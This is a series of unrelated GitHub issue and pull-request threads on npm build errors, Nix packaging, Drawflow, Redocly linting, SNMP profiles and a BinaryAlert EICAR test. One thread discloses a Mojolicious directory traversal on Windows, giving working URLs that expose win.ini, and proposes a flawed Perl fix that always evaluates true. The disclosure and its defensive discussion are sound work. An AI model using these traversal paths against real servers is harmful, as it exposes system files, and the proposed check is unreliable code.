Doesn't install on mac

I can't get the latest version of OBS to install on my mac:
npm install --save octalbonescript

><EMAIL_ADDRESS>install /Users/mmc/code/react-dial/node_modules/epoll
> node-gyp rebuild

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

  CXX(target) Release/obj.target/epoll/src/epoll.o
  SOLINK_MODULE(target) Release/epoll.node

><EMAIL_ADDRESS>install /Users/mmc/code/react-dial/node_modules/i2c
> node-gyp rebuild

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

  CXX(target) Release/obj.target/i2c/src/i2c.o
In file included from ../src/i2c.cc:11:
../src/i2c-dev.h:27:10: fatal error: 'linux/types.h' file not found
#include <linux/types.h>
         ^
1 error generated.
make: *** [Release/obj.target/i2c/src/i2c.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack     at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:276:23)
gyp ERR! stack     at emitTwo (events.js:100:13)
gyp ERR! stack     at ChildProcess.emit (events.js:185:7)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:200:12)
gyp ERR! System Darwin 15.3.0
gyp ERR! command "/usr/local/Cellar/node/5.6.0/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild"
gyp ERR! cwd /Users/mmc/code/react-dial/node_modules/i2c
gyp ERR! node -v v5.6.0
gyp ERR! node-gyp -v v3.3.0
gyp ERR! not ok
npm WARN<EMAIL_ADDRESS><EMAIL_ADDRESS>install: `node-gyp rebuild`
npm WARN<EMAIL_ADDRESS>Exit status 1

><EMAIL_ADDRESS>install /Users/mmc/code/react-dial/node_modules/serialport
> node-pre-gyp install --fallback-to-build

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

xcode-select: error: tool 'xcodebuild' requires Xcode, but active developer directory '/Library/Developer/CommandLineTools' is a command line tools instance

  CXX(target) Release/obj.target/serialport/src/serialport.o
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
../node_modules/nan/nan.h:261:25: error: redefinition of '_NanEnsureLocal'
NAN_INLINE v8::Local<T> _NanEnsureLocal(v8::Local<T> val) {
                        ^
../node_modules/nan/nan.h:256:25: note: previous definition is here
NAN_INLINE v8::Local<T> _NanEnsureLocal(v8::Handle<T> val) {
                        ^
../node_modules/nan/nan.h:661:13: error: no member named 'smalloc' in namespace 'node'
    , node::smalloc::FreeCallback callback
      ~~~~~~^
../node_modules/nan/nan.h:672:12: error: no matching function for call to 'New'
    return node::Buffer::New(v8::Isolate::GetCurrent(), data, size);
           ^~~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/node_buffer.h:31:40: note: candidate function not viable: no known
      conversion from 'uint32_t' (aka 'unsigned int') to 'enum encoding' for 3rd argument
NODE_EXTERN v8::MaybeLocal<v8::Object> New(v8::Isolate* isolate,
                                       ^
/Users/mmc/.node-gyp/5.6.0/include/node/node_buffer.h:43:40: note: candidate function not viable: 2nd
      argument ('const char *') would lose const qualifier
NODE_EXTERN v8::MaybeLocal<v8::Object> New(v8::Isolate* isolate,
                                       ^
/Users/mmc/.node-gyp/5.6.0/include/node/node_buffer.h:28:40: note: candidate function not viable: requires
      2 arguments, but 3 were provided
NODE_EXTERN v8::MaybeLocal<v8::Object> New(v8::Isolate* isolate, size_t length);
                                       ^
/Users/mmc/.node-gyp/5.6.0/include/node/node_buffer.h:36:40: note: candidate function not viable: requires
      5 arguments, but 3 were provided
NODE_EXTERN v8::MaybeLocal<v8::Object> New(v8::Isolate* isolate,
                                       ^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
../node_modules/nan/nan.h:676:12: error: no viable conversion from 'v8::MaybeLocal<v8::Object>' to
      'v8::Local<v8::Object>'
    return node::Buffer::New(v8::Isolate::GetCurrent(), size);
           ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:210:7: note: candidate constructor
      (the implicit copy constructor) not viable: no known conversion from 'v8::MaybeLocal<v8::Object>' to
      'const v8::Local<v8::Object> &' for 1st argument
class Local {
      ^
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:210:7: note: candidate constructor
      (the implicit move constructor) not viable: no known conversion from 'v8::MaybeLocal<v8::Object>' to
      'v8::Local<v8::Object> &&' for 1st argument
class Local {
      ^
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:214:13: note: candidate template ignored: could not match
      'Local' against 'MaybeLocal'
  V8_INLINE Local(Local<S> that)
            ^
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:326:13: note: candidate template ignored: could not match
      'S *' against 'v8::MaybeLocal<v8::Object>'
  V8_INLINE Local(S* that)
            ^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
../node_modules/nan/nan.h:683:26: error: no member named 'Use' in namespace 'node::Buffer'
    return node::Buffer::Use(v8::Isolate::GetCurrent(), data, size);
           ~~~~~~~~~~~~~~^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
In file included from ../node_modules/nan/nan.h:24:
In file included from /Users/mmc/.node-gyp/5.6.0/include/node/node.h:42:
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:221:5: error: assigning to 'v8::Primitive *volatile' from
      incompatible type 'v8::Value *'
    TYPE_CHECK(T, S);
    ^~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:180:37: note: expanded from macro 'TYPE_CHECK'
    *(static_cast<T* volatile*>(0)) = static_cast<S*>(0);      \
                                    ^ ~~~~~~~~~~~~~~~~~~
../node_modules/nan/nan.h:414:12: note: in instantiation of function template specialization
      'v8::Local<v8::Primitive>::Local<v8::Value>' requested here
    return NanEscapeScope(NanNew(v8::Undefined(v8::Isolate::GetCurrent())));
           ^
../node_modules/nan/nan.h:398:30: note: expanded from macro 'NanEscapeScope'
# define NanEscapeScope(val) scope.Escape(_NanEnsureLocal(val))
                             ^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
In file included from ../node_modules/nan/nan.h:24:
In file included from /Users/mmc/.node-gyp/5.6.0/include/node/node.h:42:
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:221:5: error: assigning to 'v8::Boolean *volatile' from
      incompatible type 'v8::Value *'
    TYPE_CHECK(T, S);
    ^~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:180:37: note: expanded from macro 'TYPE_CHECK'
    *(static_cast<T* volatile*>(0)) = static_cast<S*>(0);      \
                                    ^ ~~~~~~~~~~~~~~~~~~
../node_modules/nan/nan.h:424:12: note: in instantiation of function template specialization
      'v8::Local<v8::Boolean>::Local<v8::Value>' requested here
    return NanEscapeScope(NanNew(v8::True(v8::Isolate::GetCurrent())));
           ^
../node_modules/nan/nan.h:398:30: note: expanded from macro 'NanEscapeScope'
# define NanEscapeScope(val) scope.Escape(_NanEnsureLocal(val))
                             ^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
In file included from ../node_modules/nan/nan.h:24:
In file included from /Users/mmc/.node-gyp/5.6.0/include/node/node.h:42:
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:221:5: error: assigning to 'v8::Function *volatile' from
      incompatible type 'v8::Value *'
    TYPE_CHECK(T, S);
    ^~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:180:37: note: expanded from macro 'TYPE_CHECK'
    *(static_cast<T* volatile*>(0)) = static_cast<S*>(0);      \
                                    ^ ~~~~~~~~~~~~~~~~~~
../node_modules/nan/nan.h:1514:12: note: in instantiation of function template specialization
      'v8::Local<v8::Function>::Local<v8::Value>' requested here
    return NanEscapeScope(NanNew(handle)->Get(kCallbackIndex)
           ^
../node_modules/nan/nan.h:398:30: note: expanded from macro 'NanEscapeScope'
# define NanEscapeScope(val) scope.Escape(_NanEnsureLocal(val))
                             ^
In file included from ../src/serialport.cpp:3:
In file included from ../src/serialport.h:5:
In file included from ../node_modules/nan/nan.h:24:
In file included from /Users/mmc/.node-gyp/5.6.0/include/node/node.h:42:
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:221:5: error: assigning to 'v8::Object *volatile' from
      incompatible type 'v8::Value *'
    TYPE_CHECK(T, S);
    ^~~~~~~~~~~~~~~~
/Users/mmc/.node-gyp/5.6.0/include/node/v8.h:180:37: note: expanded from macro 'TYPE_CHECK'
    *(static_cast<T* volatile*>(0)) = static_cast<S*>(0);      \
                                    ^ ~~~~~~~~~~~~~~~~~~
../node_modules/nan/nan.h:1632:12: note: in instantiation of function template specialization
      'v8::Local<v8::Object>::Local<v8::Value>' requested here
    return NanEscapeScope(handle->Get(NanNew(key)).As<v8::Object>());
           ^
../node_modules/nan/nan.h:398:30: note: expanded from macro 'NanEscapeScope'
# define NanEscapeScope(val) scope.Escape(_NanEnsureLocal(val))
                             ^
9 errors generated.
make: *** [Release/obj.target/serialport/src/serialport.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack     at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:276:23)
gyp ERR! stack     at emitTwo (events.js:100:13)
gyp ERR! stack     at ChildProcess.emit (events.js:185:7)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:200:12)
gyp ERR! System Darwin 15.3.0
gyp ERR! command "/usr/local/Cellar/node/5.6.0/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64/serialport.node" "--module_name=serialport" "--module_path=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64"
gyp ERR! cwd /Users/mmc/code/react-dial/node_modules/serialport
gyp ERR! node -v v5.6.0
gyp ERR! node-gyp -v v3.3.0
gyp ERR! not ok
node-pre-gyp ERR! build error
node-pre-gyp ERR! stack Error: Failed to execute 'node-gyp build --fallback-to-build --module=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64/serialport.node --module_name=serialport --module_path=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64' (1)
node-pre-gyp ERR! stack     at ChildProcess.<anonymous> (/Users/mmc/code/react-dial/node_modules/serialport/node_modules/node-pre-gyp/lib/util/compile.js:83:29)
node-pre-gyp ERR! stack     at emitTwo (events.js:100:13)
node-pre-gyp ERR! stack     at ChildProcess.emit (events.js:185:7)
node-pre-gyp ERR! stack     at maybeClose (internal/child_process.js:827:16)
node-pre-gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:211:5)
node-pre-gyp ERR! System Darwin 15.3.0
node-pre-gyp ERR! command "/usr/local/Cellar/node/5.6.0/bin/node" "/Users/mmc/code/react-dial/node_modules/serialport/node_modules/.bin/node-pre-gyp" "install" "--fallback-to-build"
node-pre-gyp ERR! cwd /Users/mmc/code/react-dial/node_modules/serialport
node-pre-gyp ERR! node -v v5.6.0
node-pre-gyp ERR! node-pre-gyp -v v0.6.7
node-pre-gyp ERR! not ok
Failed to execute 'node-gyp build --fallback-to-build --module=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64/serialport.node --module_name=serialport --module_path=/Users/mmc/code/react-dial/node_modules/serialport/build/serialport/v1.7.4/Release/node-v47-darwin-x64' (1)
<EMAIL_ADDRESS>/Users/mmc/code/react-dial
├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>├──<EMAIL_ADDRESS>└──<EMAIL_ADDRESS>extraneous

npm ERR! Darwin 15.3.0
npm ERR! argv "/usr/local/Cellar/node/5.6.0/bin/node" "/usr/local/bin/npm" "install" "--save" "octalbonescript"
npm ERR! node v5.6.0
npm ERR! npm  v3.8.0
npm ERR! code ELIFECYCLE

npm ERR<EMAIL_ADDRESS>install: `node-pre-gyp install --fallback-to-build`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-pre-gyp install --fallback-to-build'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the serialport package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-pre-gyp install --fallback-to-build
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs serialport
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls serialport
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /Users/mmc/code/react-dial/npm-debug.log

I'm on mac OS 10.11.3

Updating after checking in a few hours. You will be able to install after that.


xfce4-13.xfce4-session: init at 4.13.0

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg eval

Success on x86_64-linux (full log)
Attempted: xfce4-13.xfce4-session
Partial log (click to expand)
/nix/store/2xlvrw5ga3va6y4m6p6ik35bgf34yys4-xfce4-session-4.13.0/bin/startxfce4: interpreter directive changed from "/bin/sh" to "/nix/store/dkh7l9a4sx7zqh8riqbj3z21sz25p8xy-bash-4.4-p23/bin/sh"
/nix/store/2xlvrw5ga3va6y4m6p6ik35bgf34yys4-xfce4-session-4.13.0/bin/xflock4: interpreter directive changed from "/bin/sh" to "/nix/store/dkh7l9a4sx7zqh8riqbj3z21sz25p8xy-bash-4.4-p23/bin/sh"
/nix/store/2xlvrw5ga3va6y4m6p6ik35bgf34yys4-xfce4-session-4.13.0/lib/xfce4/session/balou-export-theme: interpreter directive changed from "/bin/sh" to "/nix/store/dkh7l9a4sx7zqh8riqbj3z21sz25p8xy-bash-4.4-p23/bin/sh"
/nix/store/2xlvrw5ga3va6y4m6p6ik35bgf34yys4-xfce4-session-4.13.0/lib/xfce4/session/balou-install-theme: interpreter directive changed from "/bin/sh" to "/nix/store/dkh7l9a4sx7zqh8riqbj3z21sz25p8xy-bash-4.4-p23/bin/sh"
checking for references to /build in /nix/store/2xlvrw5ga3va6y4m6p6ik35bgf34yys4-xfce4-session-4.13.0...
shrinking RPATHs of ELF executables and libraries in /nix/store/al74qyk0nr5msm3bcjd29yf79a9l8wcx-xfce4-session-4.13.0-dev
strip is /nix/store/1hi76hr87bd1y1q1qjk0lv8nmcjip1c8-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/al74qyk0nr5msm3bcjd29yf79a9l8wcx-xfce4-session-4.13.0-dev/lib
patching script interpreter paths in /nix/store/al74qyk0nr5msm3bcjd29yf79a9l8wcx-xfce4-session-4.13.0-dev
checking for references to /build in /nix/store/al74qyk0nr5msm3bcjd29yf79a9l8wcx-xfce4-session-4.13.0-dev...

Success on aarch64-linux (full log)
Attempted: xfce4-13.xfce4-session
Partial log (click to expand)
/nix/store/69i71r2f5h2jc91iryfcq8za50nm1fp1-xfce4-session-4.13.0/bin/startxfce4: interpreter directive changed from "/bin/sh" to "/nix/store/6vqgi9d49smsbr2qxra52yhipg0yxf9f-bash-4.4-p23/bin/sh"
/nix/store/69i71r2f5h2jc91iryfcq8za50nm1fp1-xfce4-session-4.13.0/lib/xfce4/session/balou-install-theme: interpreter directive changed from "/bin/sh" to "/nix/store/6vqgi9d49smsbr2qxra52yhipg0yxf9f-bash-4.4-p23/bin/sh"
/nix/store/69i71r2f5h2jc91iryfcq8za50nm1fp1-xfce4-session-4.13.0/lib/xfce4/session/balou-export-theme: interpreter directive changed from "/bin/sh" to "/nix/store/6vqgi9d49smsbr2qxra52yhipg0yxf9f-bash-4.4-p23/bin/sh"
checking for references to /build in /nix/store/69i71r2f5h2jc91iryfcq8za50nm1fp1-xfce4-session-4.13.0...
shrinking RPATHs of ELF executables and libraries in /nix/store/6vrmkrwvfjw636sn1hx428ll5l43nzs8-xfce4-session-4.13.0-dev
strip is /nix/store/zrs21zqcchgyabjf4xfimncdq16njizc-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/6vrmkrwvfjw636sn1hx428ll5l43nzs8-xfce4-session-4.13.0-dev/lib
patching script interpreter paths in /nix/store/6vrmkrwvfjw636sn1hx428ll5l43nzs8-xfce4-session-4.13.0-dev
checking for references to /build in /nix/store/6vrmkrwvfjw636sn1hx428ll5l43nzs8-xfce4-session-4.13.0-dev...
/nix/store/69i71r2f5h2jc91iryfcq8za50nm1fp1-xfce4-session-4.13.0


Make ParentListItem.isInitiallyExpanded a default method that defaults to false

I don't want to have to override isInitiallyExpanded() when I implement ParentListItem. It would be nice if the interface had a default implementation that returned false.

I don't think we can do this with Android unfortunately. Correct me if I'm wrong but interfaces can't have implementations at all right?

A common approach used in the stdlib is to provide a default implementation
of ParentListItem, e.g. SimpleParentListItem, that provides sensible
defaults and maybe a clearer easy path.
On Mon, Dec 28, 2015 at 8:11 AM, Paul Turner<EMAIL_ADDRESS>wrote:

I don't think we can do this with Android unfortunately. Correct me if I'm
wrong but interfaces can't have implementations at all right?
—
Reply to this email directly or view it on GitHub
https://github.com/bignerdranch/expandable-recycler-view/issues/137#issuecomment-167596156
.

@paul-turner ahh you are correct!
@jingibus good idea.

Hello, we've released 3.0.0-RC1 with a fix for this issue.
I would love your feedback with any issues you have with the solution before we make 3.0.0 final. Check out the Pull Request that contains the fix for your issue (should be referenced above), and the changelog for a list of changes that have come with 3.0.0 (there are a lot of them!).
If you have any issues feel free to re-open this issue with details of what you are seeing.


Converting to miles, psi etc

I have been trying to convert  kilometers to miles as well as kpa to psi.
how can this be archived?

My plan is to add a flag for imperial conversion and add additional topics/sensors with those units. No ETA on that.

Dupe of #2


Error when creating a connection

I get this error when I make a connection between two nodes.
drawflow.min.js:1 Uncaught TypeError: Cannot read properties of undefined (reading 'connections')
at i.dragEnd (drawflow.min.js:1:12791)
I am using the UI.
What might be the issue here?
Thanks

How are you adding the nodes?
It seems that it does not find the connection id in the stat.

I am importing all the nodes first. Below is my json:
{
"drawflow": {
"Home": {
"data": {
"26": {
"id": 26,
"name": "database",
"data": {},
"class": "database",
"html": "
 Database",
"typenode": false,
"inputs": {
"input_9": {
"connections": []
}
},
"outputs": {
"output_21": {
"connections": []
}
},
"pos_x": 585,
"pos_y": 87
},
"29": {
"id": 29,
"name": "questionnaire",
"data": {},
"class": "questionnaire",
"html": "
 Questionnaire",
"typenode": false,
"inputs": {},
"outputs": {
"output_24": {
"connections": []
}
},
"pos_x": 84,
"pos_y": 148
}
}
}
}
}
I suspect the issue emanates from this json but I cant seem to spot it.

The default inputs and outputs start in 1 in all nodes. Order is correlative.
"inputs": {
                        "input_1": {
                            "connections": []
                        },
                        "input_2": {
                            "connections": []
                        }
                    },
                    "outputs": {
                        "output_1": {
                            "connections": []
                        },
                        "output_2": {
                            "connections": []
                        }
                    },

Hi @jerosoler .
Thanks for the feedback.
The issue is now resolved after I implemented your instructions.


[Ready for Review, hold for 7.34] [corechecks/snmp] Extend profile syntax to support metadata

What does this PR do?
[corechecks/snmp] Extend profile syntax to support metadata
Motivation
Allow user/partners to define or override fields with profile specific OIDs
Additional Notes
See example of profile definition in those PR changes files:

pkg/collector/corechecks/snmp/test/conf.d/snmp.d/profiles/_base.yaml
pkg/collector/corechecks/snmp/test/conf.d/snmp.d/profiles/_generic-if.yaml
pkg/collector/corechecks/snmp/test/conf.d/snmp.d/profiles/f5-big-ip.yaml

See e2e tests here: https://github.com/DataDog/integrations-core/pull/10548
Describe how to test your changes
1/ Use ddev
ddev env start snmp py38

2/ modify a profile (e.g. a cisco profile) to add metadata (see example in f5-big-ip.yaml)
ddev env shell snmp py38

Then modify a profile in /etc/datadog-agent/conf.d/snmp.d/profiles
3/ Check the metadata definitions works in
ddev env check snmp py38

Checklist

[ ] A release note has been added or the changelog/no-changelog label has been applied.
[ ] The need-change/operator and need-change/helm labels has been applied if applicable.
[ ] The appropriate team/.. label has been applied, if known.
[ ] If known, an appropriate milestone has been selected; otherwise the Triage milestone is set.
[ ] The config template has been updated if applicable.

Note: Adding GitHub labels is only possible for contributors with write access.

Very clean, liked this changes! Left few comments, no blockers


Unintended(?) typo in description

Hey there,
Been using this bot for a few days and it works great, blown away honestly. But I thought I'd mention that the description says:
git clone https://github.com/yourusername/festivalinfobot.git
Which I assume isn't intended. If it is intentional, might be worth mentioning that you should fork the repository instead of clone, but I assume it's just an oversight.
Thanks for all the amazing work and the days and days of enjoyment your work has brought my friends and I!

I believe "yourusername" is put there to indicate you have to fork it

That was unintended, thank you, this has been fixed


SAK-48250 -Samigo: Add Assessment B-5 update

https://sakaiproject.atlassian.net/browse/SAK-48250
Before:

After:

@adrianfish Please review, thanks

Thanks, @adrianfish. I will update the JIRA.


Resolution for "XXXXXXX" Insertion and UPPERCASE Substitution Bug Issues a1868878.txt

Hi there!
This pull request addresses two issues raised:
#111 - High Severity Bug: Insertion of "XXXXXXX" in a1868878.txt (identified in Line 1 and Line 3).
#112 - Low Severity Bug: UPPERCASE Substitution Issue in a1868878.txt (identified in Line 1).
These changes have been made and updated in the changelog located in docs/a1868878.txt.
Thankyou for your continued work to maintain the functionality of this repository!
Kind regards,
Jasmine

#132 Fixes both issues #111 and #112.


Add Cloud Context and deprate RoleName and RoleInstance on device

This is a beginning of Cloud context that will be extended in future. Long wished moving server properties out of Device.

:shipit:

:shipit:


Multiple Ranges Stacked

Nice project! I've got it running, instructions were easy to follow, only took about 10 minutes before I had it up. I'm pulling data from my budget spreadsheet, look up TillerHQ if you're interested.
Is there any way to have it pull multiple ranges? Maybe something like "A1:B7&C1:D7", where the second range would be just underneath it. I'm going to try putting in a new module with my second range but I figured I'd ask and give you some feedback. :) Cheers.

Thank you for the feedback!
That's a good feature idea, I'll go ahead and add it when I get a chance.
If you're looking for a quick fix, you can create a new sheet in your spreadsheet and concatenate the two ranges into one range to show on the mirror (or even a new spreadsheet that references the existing spreadsheet if you don't want to adjust anything in the original spreadsheet).
Your use case seems like a great use of the module. If you're comfortable sharing the data in your spreadsheet, please send me screenshot of the module output and I can add it as an example in the readme.

@rob2791 the more I think about this feature, the more I think it would actually make more sense to just create a new sheet that incorporates all the data you need and add that sheet to your magic mirror. The reason being the two different ranges (or many ranges for that matter) will have to account for different sizes, styling, merges, etc. It seems the most logical answer is to just allow one range, and the user can combine ranges as needed to show on the magic mirror.
If you think there is a valid use case for stacking ranges instead of making a new sheet please let me know and I can add that feature.

@rob2791 I'm going to go ahead and close this issue based on what I said above (just creating a new sheet with the stacked data yourself rather than adding the complexity of two different configurations). If you have additional reasons you think this would be a good feature please let me know!


How to ignore a JSONSchema property in linting?

I can see references to allowing all additionalProperties: https://github.com/Redocly/redocly-cli/issues/477
However, I would like to allow just a single property. Is this possible? How should this be done?
※ The property is errorMessage used in ajv, etc.
Regards.

@tatomyr
Yes sure, the project I am working on has the property "errorMessage" added to JSONSchema.
I am using "redocly lint" to lint the JSONSchema file, but an error is occurring that is complaining about "errorMessage" not being valid. "errorMessage" does not seem to be a valid JSONSchema property so it makes sense that an error occurs. However, if possible, I would like to ignore just this property in "redocly lint" so I get no errors.
Regards.

There are a couple of ways to achieve that. A minimal example, the OAS version, and other details would greatly help me recommend the best one for your case.

@tatomyr
It is company code so I can not share any existing code. The following should convey the issue:
"openapi": "3.0.3"
JSONSchema parts such as in requestBody:
{
  "type": "object",
  "required": ["my-property"],
  "properties": {
    "my-property": {
      "errorMessage": {
        "pattern": "this is a string"
      }
    }
  }
}

// Property errorMessage is not allowed.

Thanks for the example. Yes, that property is not allowed by the 3.0.3 specification. If you are absolutely sure it's not an error, you have three options.
First, you can use a specification extension instead (rename to x-errorMessage).
Second, create ignore file for this specific error: https://redocly.com/docs/cli/commands/lint#generate-ignore-file.
And the last option is to extend the Schema type via a custom plugin: https://redocly.com/docs/cli/custom-plugins/extended-types#type-extensions-in-plugins.
Let me know if that helps.

Do "specification extension"s work in JSONSchema? (Seems OpenAPI specific.)
The ignore file looks like it would be a good solution, but how is it possible to ignore a specific property name (Not rule)? It must work for all occurrences of the property.
I assume Schema of https://redocly.com/docs/openapi-visual-reference/openapi-node-types can be used to add the property. Looks like it might a bit more work and understanding getting working, so I will consider as a last resort.
The simplest way would be best.
If ignore via schema property is possible, the ignore file seems best.
If x-errorMessage is possible in JSONSchema, I will consider that next.
Otherwise, I'll consider either the plugin or getting the schema completely changed.

Do "specification extension"s work in JSONSchema? (Seems OpenAPI specific.)

In OAS 3.0.3 the schema objects are defined as an extended subset of the JSON Schema Specification Wright Draft 00, which technically it's not quite JSONSchema. Moreover, it explicitly says that it could be extended with spec extensions (see the bottom of this section).

but how is it possible to ignore a specific property name (Not rule)? It must work for all occurrences of the property.

The ignore file is created automatically and allow to ignore all current errors. Please take a look at the docs.

"This object MAY be extended with Specification Extensions." - Thanks. I'll recommend this if the other methods are too much trouble.
"The ignore file is created automatically and allow to ignore all current errors. " - Oh, interesting, I'll check out the docs.
Those 2 solutions, should be enough to fix the error.
Thank you for your time.


Directory traversal when deployed on Windows

We have discovered a directory traversal issue with Mojo in a Windows environment. The following URLs allow the win.ini file to be exposed:
https:///.../.../.../.../.../.../.../.../.../windows/win.ini
https:///...........................\windows\win.ini
A previous fix in the dispatch subroutine of the Static.pm fixed directory traversal with '..' but there still appears to be a problem with Windows and '...'.
Adding a check for '...' in the dispatch method in addition to the '..' appears to fix the problem. For example, the following appears to fix the problem and now the application will pass security scans on our system:
return undef if $parts[0] eq '..' || '...' || !$self->serve($c, join('/', @parts));

Thanks for the report, but in the future we would very much appreciate responsible disclosure. http://mojolicio.us/perldoc/Mojolicious/Guides/Contributing#Reporting-security-issues

@mmulder99 can you give us more info on how to reproduce the "https:///...........................\windows\win.ini" case? None of could reproduce this bug using more than 3 dots.

@mmulder99 I second the request from @oliwer.

Just to weigh in, it looks like File::Spec::Win32::canonpath will translate ... to ..\.. as part of just about any File::Spec file method.  But it will not translate longer dot sequences.  But that's purely a legacy "feature" of File::Spec.  AFAICT, at least on Win7, ... has no special handling in the OS.  I tested it myself and also found this article.
So what I think happened is that ... got translated to ..\.. by File::Spec, and updir is either buggy or is a poorly documented feature, as it only stops . and .. and not longer sequences.
FWIW, in Path::Tiny terms, a robust check would be this:
if ( path($web_root)->realpath->subsumes( path($url_path)->realpath ) ) {
   # path is good
}

That ensures that $url_path is under the $web_root after resolving parent directories and symlinks.

Thanks for the fast response on this issue, and next time I'll go through the proper channels for security issues.
This problem happens on Windows 7 Enterprise (SP1). I can reproduce it in my development environment using morbo as the server and trying to access the site using a  http://localhost:3000/.../.../windows/win.ini in Chrome will cause the contents of my win.ini file to be displayed in the browser.

Oh!  @mmulder99, is the "https:///...........................\windows\win.ini" example really supposed to be https:///...\...\...\...\...\...\...\...\...\windows\win.ini?  I.e. Github ate your backslashes?

@dagolden I looked into the markup of the original post, and that's exactly what happened. (https://<server name>/...\...\...\...\...\...\...\...\...\windows\win.ini)


added CTF_KEY enviroment variable

Thank you! This actually makes sense for non-Docker users as well, so into v4.1 it'll go! 👍
If you send me your post address, I'll mail you some laptop stickers! Thanks again!


Not able to pass the strict filters in GetAnswerAsync using Microsoft.Bot.Builder.AI.QnA

[Github issues]
In Microsoft.Bot.Builder.AI.QnA,  Not able to pass the strict filters in GetAnswerAsync.
I want to send different values to the metadata at different times through my bot code in GetAnswerAsync. For eg. In one scenario, I want to call GetAnswerAsync where strict filter is {metadata name = “namexyz” and metadata value = “valuexyz”}
And in another scenario, , I want to call GetAnswerAsync where strict filter is {metadata name = “namexyz” and metadata value = “valueabc”}
As per the code here : https://github.com/Microsoft/botbuilder-dotnet/blob/master/libraries/Microsoft.Bot.Builder.AI.QnA/QnAMaker.cs
strictfilters are taken at the time of initializing the QnAMaker service using QnAMaker options. Initializing in ctor will require me to create different qnaservices , since I need to use different metadata name-value pairs in different GenerateAnswer calls. There will be too many name-value combinations if I do this in ctor. I want to control strict filters from GenerateAnswer.

@mechaita if you're running into issues in issuing a PR, please email me or continue emailing the thread with the SDK team and someone will assist.


Time Units Conversion question about femtoseconds to atomic-unit-of-time

Why is the fs/a.u. defined in units.py equal to 1.0327503e0? Shouldn't it be 1/41.3?
atomic_to_fs = 1.0327503e0

Hi,
I agree that the term atomic units might be misleading.
In fact, we are using electron units, as explained for example in this thread of the LAMMPS forum:
https://matsci.org/t/electron-units-documentation-issue/17986


Add live_test option to CLI

python3 manage.py live_test has been added, which will:

Upload an EICAR test file to the BinaryAlert S3 bucket
Search for the YARA match information in Dynamo and print it
Remove the test file and resulting Dynamo entry regardless of whether the test was successful

Resolves: #23
This also alphabetizes all of the CLI commands in the Manager class
Example Run
(venv)$ python3 manage.py live_test
Uploading EICAR test file S3:[bucket]:eicar_test_0f5fabe7-e515-4666-97b4-ad17fc34eca4.txt...
